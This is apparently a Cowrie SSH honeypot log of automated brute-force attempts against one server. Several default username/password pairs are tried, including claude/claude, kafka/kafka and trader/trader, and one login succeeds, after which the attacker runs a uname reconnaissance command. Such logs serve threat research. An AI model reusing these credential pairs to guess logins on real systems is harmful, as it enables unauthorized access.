{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:35.530820Z","src_ip":"176.65.139.95","session":"efcd380e3bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57920,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bfb0387f6ce","protocol":"ssh","message":"New connection: 176.65.139.95:57920 (159.203.135.109:22) [session: 2bfb0387f6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:40.655446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:40.660308Z","src_ip":"176.65.139.95","session":"2bfb0387f6ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:40.747374Z","src_ip":"176.65.139.95","session":"2bfb0387f6ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:41.412949Z","src_ip":"176.65.139.95","session":"2bfb0387f6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:42.499353Z","src_ip":"176.65.139.95","session":"2bfb0387f6ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57934,"dst_ip":"159.203.135.109","dst_port":22,"session":"6090b1e9284d","protocol":"ssh","message":"New connection: 176.65.139.95:57934 (159.203.135.109:22) [session: 6090b1e9284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:47.479946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:47.484933Z","src_ip":"176.65.139.95","session":"6090b1e9284d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:47.572490Z","src_ip":"176.65.139.95","session":"6090b1e9284d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:47.985475Z","src_ip":"176.65.139.95","session":"6090b1e9284d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:49.292689Z","src_ip":"176.65.139.95","session":"6090b1e9284d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5855786042","protocol":"ssh","message":"New connection: 176.65.139.95:60482 (159.203.135.109:22) [session: 8e5855786042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:54.160446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:54.165395Z","src_ip":"176.65.139.95","session":"8e5855786042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:54.263243Z","src_ip":"176.65.139.95","session":"8e5855786042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:54.803419Z","src_ip":"176.65.139.95","session":"8e5855786042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:55.946879Z","src_ip":"176.65.139.95","session":"8e5855786042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58338,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c37ed6e6695","protocol":"ssh","message":"New connection: 159.203.92.129:58338 (159.203.135.109:22) [session: 3c37ed6e6695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:56.669874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:56.687621Z","src_ip":"159.203.92.129","session":"3c37ed6e6695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:56.691968Z","src_ip":"159.203.92.129","session":"3c37ed6e6695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LXH","password":"LXH123","message":"login attempt [LXH/LXH123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:56.790171Z","src_ip":"159.203.92.129","session":"3c37ed6e6695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:57.799632Z","src_ip":"159.203.92.129","session":"3c37ed6e6695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"041a18c0c4f3","protocol":"ssh","message":"New connection: 176.65.139.95:36752 (159.203.135.109:22) [session: 041a18c0c4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:00.586648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:00.591636Z","src_ip":"176.65.139.95","session":"041a18c0c4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:00.674374Z","src_ip":"176.65.139.95","session":"041a18c0c4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:01.255124Z","src_ip":"176.65.139.95","session":"041a18c0c4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:02.362406Z","src_ip":"176.65.139.95","session":"041a18c0c4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36768,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a18ecbd4ee5","protocol":"ssh","message":"New connection: 176.65.139.95:36768 (159.203.135.109:22) [session: 5a18ecbd4ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:07.251303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:07.369507Z","src_ip":"176.65.139.95","session":"5a18ecbd4ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:07.373969Z","src_ip":"176.65.139.95","session":"5a18ecbd4ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:07.970984Z","src_ip":"176.65.139.95","session":"5a18ecbd4ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:09.062464Z","src_ip":"176.65.139.95","session":"5a18ecbd4ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4fbde5f3fb1","protocol":"ssh","message":"New connection: 176.65.139.95:55804 (159.203.135.109:22) [session: e4fbde5f3fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.063016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.079131Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.158099Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.651115Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.885198Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.888690Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.975339Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:14.980703Z","src_ip":"176.65.139.95","session":"e4fbde5f3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50728,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e1aaa5408d7","protocol":"ssh","message":"New connection: 176.65.139.95:50728 (159.203.135.109:22) [session: 4e1aaa5408d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:20.680567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:20.685426Z","src_ip":"176.65.139.95","session":"4e1aaa5408d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:20.775007Z","src_ip":"176.65.139.95","session":"4e1aaa5408d7","protocol":"ssh"}
